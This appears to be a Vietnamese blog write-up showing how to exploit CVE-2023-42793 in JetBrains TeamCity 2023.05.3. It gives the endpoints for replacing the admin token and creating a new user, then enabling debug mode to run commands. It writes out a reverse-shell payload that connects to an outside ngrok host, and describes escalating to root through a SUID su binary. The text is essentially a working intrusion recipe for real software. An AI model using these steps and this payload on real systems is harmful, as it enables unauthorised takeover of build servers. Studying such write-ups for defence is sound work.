Khai thác CVE-2023-42793 có trong JetBrains TeamCity phiên bản 2023.05.3
Phiên bản TeamCity 2023.05.3 tồn tại CVE-2023-42793 cho phép vượt xác thực đăng nhập (Bypass Authentication) và thực thi OS command từ xa (RCE).
Nguồn tham khảo:
Giao diện chính:
Thực hiện bypass đăng nhập:
Tại endpoint /app/rest/users/id:1/tokens/RPC2
chứa token xác thực của người dùng có id=1 (khá là chắc kèo người dùng admin). Tạo một DELETE Request gửi tới endpoint trên để xóa token cũ
Sau đó tạo một POST Request tới endpoint trên để tạo token mới
Sử dụng token vừa tạo để tạo người dùng mới
Đăng nhập bằng tài khoản vừa tạo
Đăng nhập thành công!!
Thực hiện RCE
Để thực hiện RCE, đầu tiên cần phải bật debug mode qua endpoint /admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true
cùng token đã được tạo
Sau khi enable debug mode, ta có thể thực thi command tại endpoint /app/rest/debug/processes?exePath=
Để thêm các tùy chọn cho command, sử dụng thêm tham số ¶ms=
Thực hiện tạo reverse shell và leo thang đặc quyền lên root
LƯU Ý: Việc leo thang chiếm root phụ thuộc vào cấu hình và các thiết lập quyền người dùng của hệ thống, vậy nên mỗi một hệ thống sẽ có một cách chiếm root khác nhau.
Chạy lệnh nc
để lắng nghe trên 1 port chỉ định trên localhost
Sử dụng ngrok
để tạo một forward ip về port đang lắng nghe trên localhost
Sử dụng payload /bin/bash -c sh -i >& /dev/tcp/0.tcp.ap.ngrok.io/13805 0>&1
để thực hiện tạo reverse shell
Tại terminal đang chạy nc
hiển thị có kết nối đến
Chạy thử lệnh whoami
, nhận được phản hồi người dùng hiện tại đang là tcuser
. Reverse shell đã được tạo thành công!!
Tìm cách để leo thang đặc quyền lên người dùng root
kiểm tra tất cả các tập tin có thiết lập SUID cho người dùng hiện tại
Nhận thấy có lệnh su
đang được set SUID cho người dùng hiện tại.
Các lệnh trong Linux về bản chất là các tập tin nhị phân Binary
Quyền SUID khi được đặt cho một tập tin hoặc một thư mục, người dùng được trao quyền SUID sẽ được phép thực thi tập tin/thư mục dưới quyền người sở hữu (owner) của tập tin/thư mục đó. Tham khảo thêm ở ĐÂY
Chạy lệnh su
và lên được quyền root
Tại sao anh chạy lệnh su mà nó không yêu cầu anh password vậy ạ?